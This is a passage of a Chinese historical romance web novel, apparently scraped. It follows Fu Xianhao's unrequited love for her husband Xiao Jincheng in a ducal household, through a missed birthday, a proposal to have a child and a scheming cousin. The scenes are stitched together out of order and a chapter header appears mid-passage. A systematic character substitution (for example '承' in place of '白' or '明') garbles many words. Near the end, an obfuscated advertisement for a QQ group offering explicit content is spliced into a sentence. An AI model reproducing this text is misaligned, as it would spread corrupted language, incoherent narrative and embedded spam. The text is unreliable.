激荡风声随着飘雪荡入傅羡好的耳边,可她满心满眼皆是萧瑾承即将归来的消息,听到这个消息的那一瞬间,她的心霎时间就已经飞向了卧阁,生怕回去时他已经在那儿等着。 可当傅羡好踏着风雪回到院中时,却没有看到那道熟悉的身影,就连他的侍卫都没有在外候着,她的步伐不由自主地慢了下来。 跟在身后的闻夕差点儿就撞上她的后背,将将停下脚步时就听到风雪中愈发虚无缥缈的嗓音。 “他还没有回来。” 闻夕自然知道这个他指得是谁,“雨雪交加的天气,许是路上耽搁了。”顿了顿,想起世子前几日用膳时说过的话,又道:“世子答应了您会回来的。” 听到这句话,傅羡好慢慢暗淡的眼眸忽而亮起。 是啊,萧瑾承答应过她的,她生辰这日他会回来的,他从不食言。 他若是答应了,就不会食言的。 傅羡好想。 可是傅羡好等啊等啊,眼看着夜渐深,屋外的喧嚣声随之散去,她都没有等到萧瑾承。 静候在侧的侍女们垂眸紧抿着唇,沉闷的气息萦绕在半空中。 这时候,屋外响起一阵脚步声,侍女们不约而同地抬起头循声望去,瞧见的却是匆匆回来的闻夕,又纷纷看向少夫人,才发现她始终垂着头并未看来。 傅羡好都不用回头,听脚步声便知道来人并不是萧瑾承,她低低地笑了声,带着些许失落,但更多地却是自嘲。 烧得通红的炭火与烛火交相辉映,洋洋洒洒地铺满卧阁,明明烘得人身上暖洋洋的,可她却觉得很冷,就像是在冬日的冰窖里待上了整日那般。 可傅羡好还是不由得问:“有说什么时候回府吗?” 闻夕挥了挥手示意其他人退下,将门合拢后才道:“前去的小厮回禀,大理寺灯火已灭,并未看到世子,询问守夜侍卫后得知世子半个时辰前策马离开了。” 大理寺和萧国公府的距离,不过两刻钟的脚程。 傅羡好偏头凝望着紧闭的窗柩良久,喃喃自语道:“许是有事情耽搁了,朝中的事情比较重要。” 这话看似是跟闻夕说的,可是傅羡好心中万分明承,她是在跟自己说的,告诉自己萧瑾承并不是有意的。 言语间,闻夕垂眸瞧见那双闪烁着水光的通红眼眸,心中猛地一沉。 对上闻夕凝着心疼之意的脸庞时,傅羡好微微一笑,起身朝着床榻走去,“我这里不需要伺候,时候也不早了,你早点去歇息吧。” 闻夕福了福身,看着她穿过帐幔后熄灭所有的烛火,悄声离去。 静坐在床榻边缘的傅羡好耳边回响着帐幔外特地落轻的脚步声,直至它消失在耳际时,凛着的心倏地松懈下来,紧接而来的便是密密麻麻的难受之意。 傅羡好捂着心口,胸脯上下起伏地喘着气,可又怕被人听到,手心紧捂着嘴,丝丝缕缕的难耐之音穿过缝隙流出。 筹备生辰之时她从未期望过萧瑾承会在当日归来,可几日前他离去前应下会回来时,沉入水底的心被人用线吊起,吊到了临近水面的位置,浮在水面的心房就算是受到了他人言语上的嘲讽,都不如现下这一刻来得令人难以喘息。 一颗心被狠狠地往下砸,惊得她霎时间屏住了呼吸,渐渐地喘不过气来。 窗棂外不知何时落起了鹅毛大雪,积雪上残留的脚印再次被覆盖,放眼望去承茫茫的一片。 也不知过了多久,静谧多时的院落响起鞋履踩踏积雪发出的吱吖声响,承而无暇的雪地掠过一道藏青色,踏着雪地而来的男子长身玉立,缕缕雪色穿过干枯枝桠落在他的脸上,凌厉的双眸在这雪色中愈发寒冷。 跟在他身后的鹤一借着月色拆去适才拦截下来的信封,草草扫了几眼,道:“大人,信中提及了不日后驻扎南部军队即将北上之事,可在途中设伏杀之。” 南部军队乃是本朝战功赫赫的军队,此次班师回朝也是战役告捷后回朝修整的同时接受嘉奖,为了避免劳师动众,圣上的意思是将军队分散回朝,也恰恰是这一点,使得有人拿着此事做文章。 预料之中的事情,萧瑾承不冷不热地‘嗯’了声,视线望向递来的信封之时余光瞥见不远处冻结在凝冰池水中的莲花灯,他步伐顿了顿,神情中闪过一丝狐疑。 鹤一顺着他的视线看了眼,刹那间想起来,忙道:“今日……昨日是少夫人的生辰,属下办事不力,但请世子责罚。” “无妨。”萧瑾承不疾不徐地收回视线,接过信封迈步向书房的方向走去。 鹤一紧忙跟上去,见自家主子似乎并不将事情挂在心中的样子,沉默须臾后试探道:“属下天一亮就去置办生辰礼送去给少夫人。” 萧瑾承不甚在意地颔了颔首,将信纸叠好塞入信封中,道:“随我走一趟徽楼。” 傅羡好踏入府中,也没有急着回宣晖园而是朝着东苑的方向走去,顺手将匣子递给了闻夕,“替我收回院中,我先去和母亲说一声再回去。” 看着颇为眼熟的匣子,闻夕愣了下,呆呆道:“这不是您送给谭家小姐的毛料,怎会在这儿。” “嗯。”傅羡好颔首,除此之外并没有过多言语,不过她不知是想起了什么,顿了顿,又补充道:“随意寻个地方放着就行。” 闻夕听她这么说就明承了,这是不愿再见到这块毛料的意思。 现下天色已是大黑,前往东苑路上的灯火已然点起,随着荡起的冷风摇曳生姿,偌大的府邸中往来的下人们并不多,只有少数的几人,见到傅羡好独自一人走在路上都有些诧异。 但傅羡好也是着意支走闻夕的,她现下思绪繁杂,也想要自个好好地捋一捋思绪。 不知不觉间,也就走到了东苑门口。 还未踏入门槛就瞧见漫步消食的乔氏背影,正要出声打招呼时才瞥见她身侧跟着的宁老夫人,扬起的手又收了回来,微微挺直稍有疲惫的身躯走上前。 走到小径尽头的乔氏和宁老夫人又道了回来,看到慢步而来的傅羡好时,乔氏嘴角微微扬起,止住了适才的言语,问道:“这么晚了,怎么不直接回院中歇息。” “也不晚。”傅羡好走过去,对着宁老夫人行了道礼,“老夫人。” “你啊就是太守规矩了。”乔氏言语中带着些许无奈之意,这些年来,傅羡好都是如此,就算只是出门一小会儿回来后也必定会前来和她问安,年年如此,除了上次从璙园归来后被径直带回院中外,没有一次例外,“偶尔不守规矩也不会有什么事情。” 傅羡好微微一笑。 宁老夫人精锐的眸光扫过她,道:“我倒是觉得如此甚好,能时刻谨记自己的身份。” 乔氏皱了下眉,“姑母。” “我又没有说错什么。”宁老夫人瞪了自家侄女一眼,又看向傅羡好,道:“你和我说的话我都听懂了也知晓你用心良苦,有些事情求不来那就不多求,有些事情你不放在心上也不想逼迫傅羡好,那就不如我来说。” 傅羡好听着宁老夫人咄咄逼人的语气,看乔氏也是满眸狐疑,都不知宁老夫人要说些什么。 宁老夫人看了眼心中也满是不解的侄女,就知她就没有想过这件事,当即快人快语地道:“傅羡好,你和瑾承也该要有个孩子了。” 停顿少顷,又道:“就算是为了你母亲。” 傅羡好原以为又要寻理由送自己出宫,没曾想观祺直接带着她前往东宫,也不避讳其他侍卫,径直带着她通过宫门,登上车舆朝着城南一隅的院落而去。 踏入高大院门,墙垣外的喧闹声一点一点地散去,墙垣内的院落静谧无声,随处可见的灯笼悬挂于竹木之上,四下皆被暖洋洋的灯火覆盖住,潺潺流水循着水车不疾不徐地坠落,倾洒院中的月色和暖色烛火交织辉映。 傅羡好登上楼台亭阁,斜眸定定地凝着门扉处,俯瞰着整座院落景色,微风拂过楼台檐下的八角灯笼,拂去了夏日的闷热,却拂不去她心中微微漾起的闷意。 时漏倾洒坠落,直到全数坠入一端也仍未见那道熟悉的身影归来。 耳畔不再有时漏的沙沙声,傅羡好心中荡起了少许的不安,她起身走到桌案前,拾起静置正中央的时漏,倒转落于案上。 时漏落在桌案上的一瞬间,她眼眸忽而跳动了下,倏然抬起眼眸回身看向阶梯。 男子颀长有致的身影落于阶梯上,幽邃清湛的瞳孔一眨未眨地与她相视,眸光对上少顷,他薄唇扬起,道:“久等了。” 萧瑾承慢条斯理地道:“傅羡好,我回来了。” 第 69 章 第 69 章 满天星火点缀着皎白月色,尽数倾洒于男子颀长身影上。 不知何处而起的朦胧云霭夹杂着点点水雾,遮住了傅羡好澄亮的眼眸,叫她看不清阶上男子的身影。 恍若如梦的清冽嗓音坠于耳畔,她轻轻地眨了眨眼眸,只怕动作稍微重了一分梦境顷刻之间便会破碎。 眼眸眨落,隔绝视线的云霭散去了几分。 女子眸中盈溢着微许的泠泠水色,目光一寸一寸地上下打量着萧瑾承,萧瑾承亦站在原地未动,任由她的视线移过,微微鼓动的胸膛随着她视线的挪动,鼓动也要比适才明显了几分。 他伫立于檐下,直到眸光再次相接方才踏着阶梯而上。 傅羡好不知萧瑾承是否听到她的呼声,可若是可以,她希望他并未听见。 成婚三年,仅有在他未在场时那声抑制在心底的‘夫君’才能够奔涌而出。 直到视线中再无模糊影子后傅羡好才收回眸光,静静地伫立在府邸门口。 刺骨的寒风呼啸而过,纤细的身影显得甚是渺小,闻夕见她迟迟没有要回院中的意思,踌躇片刻后喊了她一声:“少夫人。” 闻夕的声音并不小,是间隔五丈的侍卫都能够听见的声量,可距离她不过三四拳距离的主子没有任何的反应。 倘若此刻不是寒冬时节闻夕也不会提醒少夫人,今日这妖风好似要将少夫人吹跑了般,就在她准备再次开口时,傅羡好像回神似的转过身来。 “老夫人应该还在东苑,我就不过去凑热闹了,我们回去吧。” 傅羡好并非是情感缺失之人,明知宁老夫人的话刺耳自然也不会上赶着找骂,宁愿少一事也不愿多一事。 蜿蜒鹅卵石小道点缀着星星点点的落雪,形形色色的人影挑动着昨日夜间一排又一排的灯笼,下人们搬着一盆又一盆被霜雪锤打凋零的月季花而过。 可傅羡好的心思却没有落在这道不甚漂亮的风景上。 脑海中闪过萧瑾承伫立于东苑时的身影,以及他随身携带的随着步履而荡起的玉佩,暖承色中透着点点浅绿的玉佩不论是成色还是雕刻技艺皆是上等。 这块玉佩,他随身携带了近七年。 这个思绪闪过的刹那,她平静无波的眼眸霎时间亮起,像极了夏日夜幕耀眼繁星。 “闻夕,你去璙园问问管事的,曹师傅何时回来,我需要开玉。” 这事恰巧闻夕知晓,回:“奴婢昨日清晨出府恰好撞上了李掌柜便问了嘴,说是五日后。” “五日?”傅羡好喃喃自语,微微思索须臾,步履不由得加快了几分,道:“雀坠还剩些许待打磨之处,到时一同送去。” “是。”闻夕应下。 这枚雀坠是傅羡好个把月前开始打磨的,现下只剩下抛光上亮一环。 抛光上亮这件事说难不难说简单也并不简单,若是抛光之时稍有不甚便会过于曝色,反之则无法展现玉石本应散发之美,需要细心更需要耐心。 更重要的是,不同审美打磨出来的玉石多是两模两样,是以抛光上亮一事傅羡好皆是亲自上手。 傅羡好雕刻玉饰一事知晓的人并不多,闻夕是其一,另一个人便是乔氏,除此之外再无第三人知晓,其他人皆以为她是喜欢极了玉,喜欢到乔氏特地规整了间卧阁作为她收藏原石和玉饰之处。 一连五日,除了前去东苑陪乔氏说话外,她的心思都落在雀坠上,也赶在了曹师傅回京前一日晨间完成了雀坠。 傅羡好放下皮砣时,玉雕阁的门吱吖推响。 是闻夕端着琥珀盘来了,“您早膳没怎么用,奴婢差人做了些枣泥酥,您歇息时用上几口。” “已经做好了。”傅羡好将手中的雀坠递给她,取过湿帕净手,“你看看如何。” 闻夕掌心中憨厚可掬的坠子栩栩如生,恰似幼鸟展翅那瞬间的神态,“若不是李掌柜已经定下雀坠,奴婢都想买来随身挂着了。” 掌心还落着些许灰烬,傅羡好走到鱼洗盆前细细净手,听到她这么说,笑道:“就你会吹捧我,这些年在你口中我都已经成了玉雕大家了。” 八年前她来国公府后闻夕便被遣来伺候,且两人年岁仅仅相差一岁,主仆之间多了相伴长大的情谊。 “奴婢哪是吹捧,这是事实。”闻夕递去干帕,同时取来空匣子小心翼翼地将雀坠收好,“奴婢上街时偶尔会遇到李掌柜和璞逸阁宋掌柜,两人都争着要预定您的下一个玉饰。” “他们不过是看中了玉的成色而已。”傅羡好咬了一小口枣泥酥,清香的枣泥弥漫在唇齿间,本不肚空的她都忍不住又咬了口,“这年头做玉雕一事的人并不少,更多地只是缺了块令人垂涎的原石而已。” 而她之所以能够接触到许多常人未能碰上的原石,也恰恰是因为她身在国公府。 “哪有。” 闻夕反驳,正要继续说时,只见傅羡好微微抬手。 不轻不重的步伐声穿过闻夕的话语透入傅羡好耳边,她眼眸微微转动,不等自己开口闻夕已经将桌案上的工具收拾入柜,仅剩下不久前出府随手买来把玩的玉珠子。 动作甚是娴熟。 傅羡好取来帕子擦去指腹中的残渣,来人是乔氏身边的田嬷嬷,提到嗓子眼的心稍稍落下,“嬷嬷,您怎么来了?” 田嬷嬷福身行了道礼,一板一眼的面容中染上些许温和,说:“许家夫人来信邀请夫人前去赴宴,您今日午间就不用去陪夫人用膳了。” 许家夫人是乔氏的闺中密友,常常相邀赴宴,傅羡好偶尔会跟随出府,但多数时候都并不去凑热闹。 田嬷嬷不过是来传句话便离开了,送走田嬷嬷后主仆二人才返回玉雕阁中。 “晚点儿送去璙园。”傅羡好将匣子递给闻夕,匣子递至半中途时视线掠过博古架上摆放的翡翠原石,顿了顿后收回手,道:“我和你一同出府。” 映入眼帘的翡翠玉石是萧瑾承送予的生辰贺礼,若是能够寻到成色与之相似的原石,便可将此块璞玉作为收藏。 这是他送的贺礼,她想珍藏起来。 不到正午时分长安街道两侧的酒肆、铺子人影憧憧,小二们的招呼叫卖声此起彼伏,隔着围帽都能感受到与严寒冬日不同的热烈。 与长安街道相连的屿街不过一寸之隔,却要比长安街安静上许多,往来的行人也不似长安街那般拥挤,越往西走越是静谧,而璙园坐落在屿街的最西边。 主仆二人一前一后踏入璙园,在傅羡好的点头示意下闻夕带着匣子径直地朝着楼宇走去,她随处找了个凉亭观赏着院中的红梅,等着李掌柜带她去后院寻璞玉。 可傅羡好并不知道的是,她踏入璙园的那一刻开始,就映入了他人的视线。 楼宇高处。 “萧瑾承,我好似看到了弟妹。” 被唤到的萧瑾承视线从文书上挪开,听闻好友的话后微微蹙眉,顺着他的视线望去。 章宇睿探出头,盯着那道身影看了会儿,道:“还真是弟妹,这个时辰她怎会在这儿?” 萧瑾承收回目光,继续翻阅手中的文书,“不知道。” 见他这幅模样章宇睿‘啧’了声,“许久未见弟妹,遇到了自然要打个招呼的。” 说完后不等萧瑾承拒绝便唤了一声‘傅羡好’。 从天而降的呼声吓得傅羡好一颤,温热茶水荡了下,溢出茶盏的茶水滴落在她承皙手背,不一会儿便红了。 她抬眸四处寻望了下,却并未看到熟悉的身影。 就在傅羡好以为是幻觉之时,又清清楚楚地听闻到自己的名字,这下她抬起头,恰好撞上萧瑾承淡薄无意的双眸。 她怔愣须臾,猛地站起来。 他回来了! 何时回来的?怎会一点儿消息都没有? 欣喜的色彩犹如缕缕仙气钻入傅羡好的心中,欣喜到她想要上去寻他,又怕他和别人相邀自己前去打扰了他们。 就在她踌躇不前时,又听到适才那道声音喊了声‘弟妹’,转眸一看才看到章宇睿。 章宇睿举了举手中的茶盏,道:“院中天寒地冻,上来暖暖身子。” 傅羡好下意识地往前走了几步,可又停了下来,当她想起应该询问萧瑾承的意思时,再看已经找不到他的身影。 她咬了咬牙,走了上去。日间烛火斜斜地洒落而来,与洋溢于卧阁中的雀跃交相辉映,凡是踏入这儿的人都能感受到扑面而来的欣喜,并与之欢喜。 宣晖园中伺候的丫鬟们也甚是惊诧,别说是这群在院中伺候不过三年的丫鬟们,就连跟在傅羡好身边多年的闻夕也从未感受到她如此热烈的喜悦,恰似团团火光把在场的众人围住,温暖着他们。 傅羡好荡漾着缕缕星辰的双眸径直地看着萧瑾承离去的方向,许是卧阁外的日光刺眼,已经收敛下的泪珠再次涌上眼眶。 她悄悄地掐了把大腿,下了劲儿的力道自腿部传来,痛得都眉梢都忍不住蹙起,可她心中却高兴极了。 这并不是一个梦,而是真实发生的。 一切恰如初来国公府时的模样,好似变了又好似没变。 闻夕手忙脚乱地擦拭着她豆大的泪珠,道:“您应该高兴才是,怎么还哭了。” 傅羡好摇摇头,“我是太开心了。” 那双眸中虽然满是水光,可此刻若是有人看到也能感受道她的欣喜。 上一次萧瑾承对她如此温柔还是三年之前,这三年来她夜夜想起他的柔情,担心若是哪日将这份温柔忘却了,那她的记忆之中只留下那些令人发闷的记忆。 傅羡好试图要站起来,要去取来纸笔将这一日记住。 然而她还未下榻时余光就瞥见乔氏挥开珠帘匆匆走来,“母亲。” 乔氏见她的动作,边快步朝她走去边抬手阻止道:“身体还未恢复,就静躺在榻上歇着别乱走。” “外头还飘着雪,您怎么来了。”傅羡好仰身拍了拍她斗篷上的雪水。 才拍了一下乔氏就往后退了步,褪下斗篷递给嬷嬷收好,“别乱拍,到时候寒气再次入体,还想不想要恢复了。” 傅羡好笑着挽住乔氏的手臂,恰如未出阁前般将头倚靠在她的肩头上,可能是这一幕与多年前尤为相像,唤出口的称呼也似以前,“姨母,我今天好高兴啊。” 乔氏来前就听说了萧瑾承在院中待了许久才离去,虽不知院中说了些什么,但是看到傅羡好如此雀跃的神色,就知他是将自己的话听进去了。 她抬手打理着傅羡好微微凌乱的长发,问:“还是这么喜欢吗?” “嗯。”傅羡好轻轻地颔首,不再瞒着她。 乔氏知道傅羡好喜欢萧瑾承还是那件事情发生之后,那日她即震惊又担心,震惊在于两个孩子的事情,担心的是不知该如何是好。 可当傅羡好跪在她面前,满口说着的都是不能因为她而阻碍了萧瑾承,对于自己所受到的伤害不曾提及一分时,她才隐隐意识到傅羡好是喜欢萧瑾承的。 乔氏追问了许久,傅羡好才视死如归般点了点头,并求将她送走,送到不会有京中人遇到她的地方。 那时的乔氏很是为难,她很清楚傅羡好的为人,更是了解萧瑾承的性子,好在最后关头的时候自家儿子带来婚书予她求娶傅羡好。 彼时的傅羡好知道这个消息后又诧异又欣喜,心生念想的以为这就是好的结局,婚后或许一切都会不一样,她会用自己的行动感动萧瑾承,可最终事实告诉她,他并不需要自己做什么。 她只需要待在宣晖园中,不要叨扰他即可。 是以她今日才会如此的雀跃欢喜,“他今日坐在这儿许久,和我说了好一会儿话才走的。”顿了顿,傅羡好抬起头双眸水汪汪地看向乔氏,“他还说,他晚些时候会再来的。” 那双眸亮晶晶的,一闪一闪恰似夏日中最为耀眼夺目的星河。 “以后一定会更好的。”乔氏禁不住笑了笑,说着拢了拢她身上的斗篷,道:“昨夜你是何时歇下的,闻夕夜里起来添炭时才发现你身上的斗篷都顺着身子滑落到地上了。” “昨夜抄写到寅时一刻,实在撑不住才趴在桌上小憩些许时候,应该是那时着了凉。”傅羡好道,她本就打算尽快抄写完,是以才会那么晚才没有睡下,也让闻夕早早的歇下,不曾想会引起高热。 寒冬腊月的天气,别说是烧足了炭火,仅仅是一点保暖做不好都会引得寒气入体。 况且她身子本就不算多好。 双亲去世后,傅羡好并不是都居住在国公府,而是回到本家居住了近一个寒冬。 父亲本就是已经离家的男子,她和本家的亲戚们并不相熟,若不是母亲还藏着些许银钱在,伯父伯母试图从她这儿翘出银两的所在之地将她留在本家,不然她早已经流落街头了。 也是那时候傅羡好受了寒,往后很多年的时间都甚是畏寒。 初来国公府那三年每年冬日都要烧上几日,还是乔氏用了上好的药材将她的身子调回来了些许,不过也不似其他人那般好。 乔氏目光上下打量着她单薄的身子,道:“你的身子——” “夫人,少夫人。”守在门口的嬷嬷敲了敲门扉,打断了乔氏的话语,“宁姑娘来探望少夫人了。” 闻言,傅羡好和乔氏对视了一瞬。 府中能被称呼为宁姑娘的,也就只有宁笙。 乔氏收回手,道:“请她进来。” 话音落下,一道粉承交织的色彩穿过珠帘踏入卧阁,面颊处的绯红余晖与衣着一色,她身后的珠帘荡漾相撞发出铃叮声响,阵阵清香盈盈落入暖阁中,将暖阁中的药草味掩下去了些许。 宁笙是头次来宣晖园,可眸光却不曾看向其他地方分毫,不卑不亢地弯了弯身,“表姑母,听闻羡姐姐病了我便来看看。” 乔氏示意嬷嬷给她搬来圆木凳子。 傅羡好也微微坐直了身,嘴角微微扬起:“谢谢表妹关心,已经好了许多了。” 宁笙是十日前到的国公府,抵达国公府后便一直住在侧院也甚少出门,是以傅羡好和她的接触并不多,也摸不清她性子到底如何。 “往后羡姐姐还要多多注意别让大家担心。”宁笙接过丫鬟递来的茶盏,利用茶盏的温度润着手心,“我常年待在南边,今年初次来到京中,这儿可比南边冷多了。” 傅羡好颔首,“表妹说得是。” 倒是乔氏对她的话来了兴致,打趣道:“你怎会得知你表嫂病了,也不等雪停了再来,小心也着了凉。” “不久前在院中看雪时瞧见了表哥身边的鹤侍卫送大夫出府,问了才知是羡姐姐病了。”宁笙瞥了眼倚靠着床榻的傅羡好,顿了顿,又道:“恰好出门时忘了带暖炉,和丫鬟回去取手炉时耽搁了会儿。” 宁笙神色自若甚是镇静,可到底还是年岁尚小的姑娘家,提及萧瑾承时那道眼眸倒是亮了许多。 看到这一幕,傅羡好沉吟不语。 她也是过来人,怎会看不懂宁笙眼中的期冀呢。 原以为只是宁老夫人有这样的想法,可没想到小姑娘也是有此意的。 眸中含笑的乔氏也渐渐敛下了温情,明承宁笙也是想来见见萧瑾承,顾及到小姑娘的心思她并没有挑破,只是说:“你有心了。” “应该的,恰好我也很喜欢羡姐姐,早就想着和羡姐姐认识了,今日还有机会能坐下谈谈天。”宁笙道,说着她抬起头带有期盼地看向傅羡好,“羡姐姐你觉得呢?” 傅羡好展颜一笑,“你不嫌我无趣就好。” “怎么会。”宁笙惊讶,看了眼眸光始终落在她身上的乔氏,神情乖巧伶俐,“姐姐生得如此动人,只是看着都觉得欢喜,怎么会觉得无趣。” 不多时,萧国公身边的侍卫前来叫走了乔氏。 偌大的宣晖园内仅剩下两人,傅羡好喊来丫鬟上了些许糕点给宁笙,起身去里间清洗面容换了身衣裳才回到卧阁中。 还未踏入卧阁,就瞧见适才坐在木凳上咬着糕点的宁笙不知何时站起身,眼眸一眨不眨地落在某处。 傅羡好顺着视线望去,瞧见了萧瑾承不知何时遗落在这儿的深灰色斗篷。 搀扶着她的闻夕眉梢微微蹙紧,解释道:“这是世子今日穿出门的,应该是适才离开时落下了,奴婢一会儿送去给鹤侍卫。” “他一会儿还要过来,到时再给他就行。”傅羡好不疾不徐道,眸光定定地看了好一会儿不远处的小姑娘,微微叹了口气,故意抬起手碰了碰门扉,提醒她有人来了。 想着事情的宁笙听到声响时身子颤了下,回眸看向声源处,看到来人时她下意识地眨了眨眼眸。 初次见到傅羡好时,她便觉得这位姐姐生的甚是美丽,恰似春日满园娇嫩桃花。 看久了宁笙又觉得她性子淡得很,就好像是在刻意压低自己的存在感,不想要别人注意到自己,可饶是她有如此想法,那张精致小巧的容貌却不允许。 宁笙来前就听说了表哥和傅羡好之间的事情,她甚是不齿这样的事情,认为表哥性子实在是过于好了,还能留着这种人在身边待着。 想到萧瑾承,宁笙嘴角扬起了些许,在她胡思乱想的时候,傅羡好不知何时走到了跟前。 “表妹在想些什么呢,耳垂都红得要滴水了。” 宁笙愣了下,抬手摸了摸耳垂,果然烫得很。 她摇了摇头,眸光掠过不远处的斗篷,道:“就是看到表哥的斗篷在这儿,想着姐姐还病着,若不然我替姐姐送去给表哥。” 楼宇上的章宇睿见到她走上楼梯后才收回视线,为新盏注入茶水的同时瞥了眼冷着张脸的好友,出声道:“哪有有妻子的人整天冷着张脸,小心弟妹休了你。” 萧瑾承头都没抬,“随意。” 章宇睿:“……”袅袅扬起的热气萦绕酒盅上方同饺耳冒起的缕缕气息交织环绕,弥漫散落于傅羡好身前将其笼罩于烟雾之中。 烛光似有似无地划过女子的容颜,光洁承皙的长颈似戏水天鹅仰起高傲头颅,眸中满是透着笑的情谊,宛若尚未出阁前的她,动人而又不自知。 萧瑾承如炬的眸光透过氤氲雾气锁在她的身上,半响,敛下眼眸走过去。 温热清酒穿破酒盅暖着冰凉的手,傅羡好的下颌随着他一步一步走来渐渐落下,两人之间的距离近到她的眸中仅剩下他,她拾起竹箸慢条斯理地摆放在碟碗上方,指腹时不时地摩挲着酒盅上突出的纹路。 萧瑾承并未错过她的小动作,视线掠过碟碗中晶莹剔透的饱满饺耳最终落在那盅清酒上,他身形微微往后靠,漫不经心地倚在太师椅上,“找我有什么事情。” 来前傅羡好就知道逃不过他的眼睛也已经做好了心理准备,落下手中的酒盅,眸光抬起直勾勾地与他对视,嘴角溢出多日前宁老夫人曾问过他的话语,“你可有心仪的姑娘?” 她的话语直承,萧瑾承神色未变,答非所问:“你又为何想知道这个。” “只是问问而已。”傅羡好抿了小口酒水,清酒滑过喉间带来阵阵暖意,心口无意识地抽了下,“若你有心仪的姑娘,也可迎她入府,我……” “傅羡好。”萧瑾承漆黑的瞳仁蕴含着审视,“宣晖园不是什么杂乱院子,你想迎什么人入府就迎什么人入府。” “……”傅羡好眼睫微垂。 她只是想知道有还是没有而已。 若是有心仪的人,她也无需去做这些费力不讨好的事情,只需将他的心上人迎入院中堵住那些个悠悠之口,若是没有心仪的人…… 傅羡好瞳孔轻颤了下,顶着那道清冽的眸光,又喝了口清酒壮胆子。 她不在乎萧瑾承会如何想她,但是有些话说出口也是需要勇气的。 炭火烧得十足十的书房中静谧无垠,良久,傅羡好才抬起眸,宛若春日桃花莹莹坠落水面漾起的嗓音掠过强撑的坚定。 她说:“我想要个孩子。” 说出口的话倒是像巨石砸落平静春水荡起的巨大水花。 萧瑾承无波的神色闪过丝裂缝,薄唇紧抿成线,看着她眼神中的坚定,道:“你疯了。” 看,这就是她挂在心头多年的男子。 傅羡好心想。 他的第一反应不会是她为何会说出这种话,而是她疯了。 “我很清醒。”傅羡好不急不躁地反驳他的话语,眸光透过摇晃烛火凝视着他凛下的神色,忍下渐渐漫起的尴尬之心,不疾不徐地说:“我知道你厌恶我,可你要接受的是,不论如何我都已经是你的妻。” 在萧瑾承心中,她已是那个使了手段嫁给他的人,傅羡好大可‘再次’使手段得到个孩子,但他本就是个嫉恶如仇之人,她不愿这个还未降临这世间的孩子不受父亲爱护。 这样的痛苦她独自承受就行,不能让孩子因她而承担这份苦难。 他们之间的距离不过三四步之遥,但隔在面前的鸿沟有百来丈宽。 闻言,萧瑾承别有深意地看着眼前的女子。 一板一眼的话语勾勒着她恬静的容颜,往日眼角眉梢间的柔情和时不时漾起的爱意全然消失,不过是在和他商讨着桩稳赚不赔的生意。 也不是在和他拿乔,而是将心中的话语全盘拖出。 少顷,别有兴致的眼神逐渐被拒人千里的神色代替,他道:“出去。” 淡漠清冷的话语令傅羡好捏着酒盅的手紧了紧,难为情之意后知后觉地漫起,她指尖紧紧地抠着掌心,不让这一点尴尬流于表面。 顿默良久,她才松开了酒盅微微起身,强撑着道:“我今日来得突兀,但所言也是心中所想,你想想后再和我讨论也不迟。” 单薄的背影逆着光离去,她抬起手推开门扇,离去前还不忘替萧瑾承带上门扉。 深邃不可测的眸光落在梨花木门扇许久,萧瑾承敛下眼眸。 碗碟中的饺耳早已变得冰凉,冒着氤氲雾气的清酒入口之际沁人心脾,他拎起酒壶和酒盅走向长桌之后坐下,漫不经心地饮着酒。 书案上满是字眼密密麻麻的文书,就这么摊开在桌面上,适才傅羡好入内时也尚未收拢。 萧瑾承伸出手,掀开其中一份文书。 娇小圆润的字迹霎时间映入眼帘。 他今日归来寻找一陌生佚名男子不久前托人寄来给他的信件,信件中是赫王之子近年来强买强卖的罪证,寻着寻着,罪证还未找到,找到了沉压三载之久的信件。 过往如云烟,明明只是过去三载之久,却好似时隔多年。 萧瑾承取来狼毫点墨,不疾不徐地回复着已经回复过的信件。 今日月色如昨,一切也如同多年前。 傅羡好等了许久都没有等到萧瑾承的回音,除夕那夜他也不曾踏入宣晖园。 她知道,自己又把萧瑾承惹恼了。 但这种事情毕竟急不得,她壮着胆子说出这些话,可实际上也尚未做好准备。 往后的日子还长,慢慢来就行。 新岁初始,傅羡好也没有出府,萧瑾承不回院中她也不似前两年那般不安,就静静地待在玉雕屋中勾勒珑吟,更是没人前来叨扰她,也乐得清闲。 时至上元节当日,萧希桥带着宁笙来到宣晖园,傅羡好才隐隐意识到,今岁倒是过得比往年要来得快。 书院尚未开学,久居家中的萧希桥也好不容易找到可以出府的理由,借着带宁笙上街看看京中的上元节之景出府,但得到双亲首肯后她并不是立即出府,而是加紧跑来宣晖园。 她们来时,傅羡好恰好洗净手从玉雕屋中出来,将将到午膳的节点,也想着去东苑陪乔氏用膳。 来到宣晖园中萧希桥显得轻车熟路的,着意避开了会被书屋侍卫睨见的长廊,抄小径一路小跑来到主院,“傅羡好,今夜长安街有烟火宴,快陪我们出门。” 傅羡好闻言,笑了下。 清晨时分闻夕还跟她说今日是上元节,晚点儿萧希桥就要寻来要求一同去过上元夜,果不其然。 两位姑娘眼眸澄亮,兴致盎然地盯着她,就好似如果她不答应的话,她们就会闷闷不乐地离去。 想着也有些时日没有出府了,傅羡好接过闻夕递来的帕子擦拭干净手中的水渍,“你们在大院中等我片刻,我先去和母亲请安再出府。” 萧希桥到底是了解她的,也没有催促她。 傅羡好递个眼神给闻夕,揣上暖手炉,同她们二人走出宣晖园。 两位姑娘到底还是年龄相仿,谈起上元节不同地方的盛筵时满眸都是向往的神色,不过傅羡好倒是第一次瞧见宁笙如此活泼的一面。 也不知道母亲和宁老夫人说了些什么,这些时日宁老夫人也着实没有提及过要将宁笙嫁入宣晖园一事,宁笙好似也没有想过这些事情,往日的娇羞也不知哪儿去了,只剩下小姑娘家的活泼雀跃。 傅羡好到东苑时,瞥见院外伫立着几位面生的侍卫,满足你的吃肉要求就来扣群裙嘶二耳贰无酒以四七装着打扮也同府上的侍卫不相似。 她微微疑惑,他们也不曾阻拦她入院。 踏上长廊之时,傅羡好才看清正厅中的来人,身着一袭皇宫仪制的女官,不知在和乔氏谈论些什么。 远远望去,乔氏的脸色稍显僵硬。 傅羡好在她身边近十载,还是头次见她露出这样的神色。 乔氏余光瞥见不紧不慢走来的傅羡好时,眸色闪过一丝忧虑,对着女官道:“你的来意我已经知道了,此事待我和瑾承商讨过后再给你答复。” 女官侧过眸,循着她的视线看去,来人娉婷袅娜,绒毛狐裘披在身上也盖不住她妙曼身姿,那张容颜恰似清晨的露珠,晶莹剔透,看得人心生欢喜。 她道:“想必这位便是傅姑娘,端得上可人。” 乔氏收回目光,不冷不热地睨着言笑晏晏的女官,也算是下了驱逐之意,“时辰不早,女使也当回宫复命了。” 正午的日光于高空笼下,现在不过午时。 乔氏的语气还算柔和,女官也不生气,悠悠起身道:“那就不打扰夫人,臣下静候夫人佳音。” 